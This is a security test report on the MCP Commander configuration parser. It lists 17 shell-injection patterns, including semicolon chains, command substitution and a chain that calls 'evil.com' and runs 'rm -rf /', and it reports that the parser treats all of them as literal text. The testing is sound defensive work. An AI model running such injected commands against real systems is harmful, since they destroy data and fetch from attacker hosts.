This document reports the results of security testing performed on the MCP Commander command parsing functionality. Testing was conducted to evaluate potential code injection vulnerabilities in the command parser.

• Target: src/mcpcommander/utils/config_parser.py - ServerConfigParser class
• Focus: Command string parsing and tokenization logic
• Date: August 13, 2025
• Test Scripts: scripts/test_security_injection.py, scripts/test_actual_execution.py

17 different injection patterns were tested against the command parser:

1. Semicolon command injection (npx test-server; echo INJECTED)
2. Backtick command substitution (npx \echo malicious-server``)
3. Dollar command substitution (npx $(echo malicious-server))
4. Pipe command injection (npx test-server | echo INJECTED)
5. Logical AND injection (npx test-server && echo INJECTED)
6. Logical OR injection (npx test-server || echo INJECTED)
7. Background process injection (npx test-server & echo INJECTED)
8. File redirection injection (npx test-server > /tmp/injected.txt; echo INJECTED)
9. Environment variable injection (INJECTED=true npx test-server)
10. Path with injection attempt (/Applications/Test.app/bin/java; echo INJECTED)
11. Quoted injection attempt ("npx test"; echo INJECTED)
12. Mixed quotes injection (npx 'test\echo INJECTED`server'`)
13. Newline injection (multiline commands)
14. Unicode/special characters (npx test-server\u0000echo INJECTED)
15. Complex injection chains (npx test && echo INJECTED && curl http://evil.com && rm -rf /)
16. Malicious Java-style commands
17. Windows-style command injection

Additional testing verified whether the parser executes code during the parsing process by:

• Attempting to create files on the filesystem during parsing
• Monitoring for any side effects from malicious commands
• Testing 5 different shell operator patterns

The parser processes all input commands by:

1. Splitting command strings into structured data using Python's shlex module
2. Returning a configuration object with command and args fields
3. Converting shell operators into literal string arguments

• Total injection patterns tested: 17
• Patterns that caused parse failures: 0
• Patterns that resulted in code execution: 0
• Patterns where shell operators became literal arguments: 16
• Patterns handled as environment variables: 1

Shell operators are converted to literal string arguments:

Input:  "npx test-server && echo INJECTED"
Output: {"command": "npx", "args": ["test-server", "&&", "echo", "INJECTED"]}

Command substitution syntax becomes literal text:

Input:  "npx $(echo malicious-server)"
Output: {"command": "npx", "args": ["$(echo", "malicious-server)"]}

Paths containing spaces are processed through auto-quoting logic:

Input:  "/Applications/Test.app/bin/java; echo INJECTED"
Output: {"command": "/Applications/Test.app/bin/java;", "args": ["echo", "INJECTED"]}

No code execution occurred during any parsing operations:

• 5 different malicious commands tested with filesystem monitoring
• No temporary files created during parsing
• No system commands executed as side effects

The command parser operates as a text tokenizer, not a command executor:

• Uses Python's shlex.split() for basic tokenization
• Implements custom logic for handling paths with spaces
• Does not invoke shell interpreters or execute commands
• Outputs structured data for downstream consumption

Command execution is handled separately from parsing:

• Parser outputs structured configuration data
• MCP servers receive parsed commands as separate executable and arguments
• Shell operators in arguments are not interpreted by receiving processes

This analysis covers:

• Command string parsing logic only
• Direct code injection through parser input
• Shell operator interpretation during parsing

This analysis does not cover:

• Security of downstream MCP server implementations
• Network-based attacks against MCP protocols
• File system permissions and access controls
• Authentication and authorization mechanisms
• Process execution security in MCP server runtime

Testing was conducted on:

• macOS Darwin 22.6.0
• Python 3.x environment
• Local filesystem testing only

Based on testing results, the command parser:

• Does not execute code during parsing operations
• Converts potentially dangerous shell operators to literal strings
• Handles complex input patterns without interpretation

• Regular security testing should be conducted as parser logic evolves
• Input validation should be maintained at the parser level
• Documentation should clearly explain the separation between parsing and execution responsibilities

Security testing generated the following files:

• scripts/test_security_injection.py - Injection attack test suite
• scripts/test_actual_execution.py - Code execution verification tests
• scripts/security_test_results.json - Detailed test result data

These artifacts are available for review and can be executed to reproduce the reported findings.